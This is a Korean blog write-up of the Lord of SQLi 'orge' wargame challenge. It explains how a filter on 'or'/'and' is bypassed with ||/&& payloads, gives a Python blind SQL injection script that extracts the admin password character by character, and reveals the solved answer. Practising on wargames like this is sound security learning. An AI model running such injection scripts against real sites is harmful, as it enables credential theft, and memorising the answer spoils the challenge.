티스토리 뷰

보안/Wargame

[Lord of SQLi] orge Writeup/문제 풀이

돔돔이부하 2021. 8. 11. 00:06
728x90
반응형

$_GET[pw]

PHP 소스코드 상으로는 pw를 GET 파라미터로 받는다고 합니다.

 

if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");

그리고 pw에 대소문자를 가리지 않고 prob라는 단어가 포함되거나, _(언더바), .(온점), ((여는 괄호), )(닫는 괄호) 를 사용하는 것을 금지(필터링)하고 있습니다.

 

if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");

그리고 pw에 추가로 대소문자를 구별하지 않고 or 와 and 문자열이 들어가는 것을 금지(필터링)하고 있습니다.

 

$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; 
echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

query 변수에 GET 파라미터로 전달받은 pw를 넣고, mysql에 query를 실행했을 때 결과로부터 id가 존재할 때 화면에 "Hello 아이디"를 출력한다고 합니다.

 

$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");

그런 다음에 pw를 addslashes 함수로 SQL Injection 에 사용되는 특수기호들을 모두 필터링 합니다. 그 후 query 변수에 GET 파라미터로 전달받은 pw를 넣고, mysql에 query 문을 실행했을 때 결과로부터 admin 의 pw와 GET 파라미터로 전달받은 pw가 일치하면 문제는 해결이 됩니다.

 

addslahes 에 대한 자세한 설명이 필요하면 해당 문제풀이를 다시 참고해주세요.

https://domdom.tistory.com/63?category=981717 

 

[Lord of SQLi] orc Writeup/문제 풀이

$_GET[pw] PHP 소스코드 상으로는 pw를 GET parameter 방식으로 받는다고 합니다. if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 그리고 pw에 prob 라는 단어가 포함되어 있거나, _(언더..

domdom.tistory.com

 

이전에 풀었던 orc 문제와 동일합니다. addslahes 이전의 코드가 SQL Injection 에 취약하기 때문에 해당 코드에서 SQL Injection 을 삽입하여 admin 의 pw를 알아내야 합니다. 그리고 pw를 알아냈다면 그제서야 pw 파라미터에 알아낸 비밀번호 값을 넣어주고 서버에 request(요청)을 보내면 문제는 풀립니다.

 

pw를 알아내는 방법은 일반적으로 두 가지가 있습니다.

첫 번째로, 패스워드 길이를 알아냅니다.

두 번째로, 패스워드를 알아냅니다.

 

끝입니다.

 

우선 패스워드의 길이를 알아내기 위해서 아래와 같은 페이로드를 전송합니다.

// pw='||id='admin'&&length(pw)=8#
https://los.rubiya.kr/chall/orge_1.php?pw=%27||id%3D%27admin%27%26%26length(pw)%3D8%23

id가 admin인 계정의 pw의 길이가 8이라면 아래와 같이 Hello admin 이라고 나옵니다.

 

이제 패스워드 길이가 8인 것을 알아냈으니 반복문을 통해서 실제 패스워드 문자열을 알아내주기만 하면 됩니다.

javascript 코드로 짠 코드는 위에 링크 걸어둔 orc 문제 풀이를 참고하시면 되겠고, 이번에는 파이썬으로 코드를 짜보았습니다.

import requests
import sys

def SQLI():
	url = "https://los.rubiya.kr/chall/orge_1.php?"
	headers = {
		'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36',
	}
	cookies = {
		'PHPSESSID':'세션아이디'
	}
	length = 8
	result = ""	

	# pw 구하기
	for i in range(1, length+1):
		for num in range(48, 123):
			param = "pw=%27%7C%7Cid%3D%27admin%27%26%26ascii(substr(pw,"+str(i)+",1))%3D"+str(num)+"%23"
			res = requests.get(url+param, headers=headers, cookies=cookies)
			if(res.text.find('<h2>Hello admin</h2>') != -1):
				result += chr(num)
				break
	print("[+] Result:", result)

if __name__ == '__main__':
	SQLI()

위에서 param 변수에 대입되는 query 문을 URL 디코딩하면 아래와 같습니다.

pw='||id='admin'&&ascii(substr(pw,"+str(i)+",1))="+str(num)+"#

ascii 함수는 ord 함수와는 멀티바이트 문자 처리 방식이 조금 다른 함수지만 주어진 문자를 정수형으로 변환하는 것은 동일한 기능을 하는 함수입니다.

 

substr 함수로 pw의 첫번째, 두번째, 세번째, ... 여덟번째 문자를 가져와서 0부터 9까지, a부터 Z까지 비교합니다.

 

만약 일치하다면 해당 query 구문은 참(True)이 될 것이고, 참이되면 아까처럼 "Hello admin" 문장이 나올겁니다.

 

이를 이용해서 결국 pw를 알아내면 아래와 같이 문제를 풀 수 있습니다.

C:\Users\Domdom>python orge.py
[+] Result: 7b751aec

728x90
반응형
댓글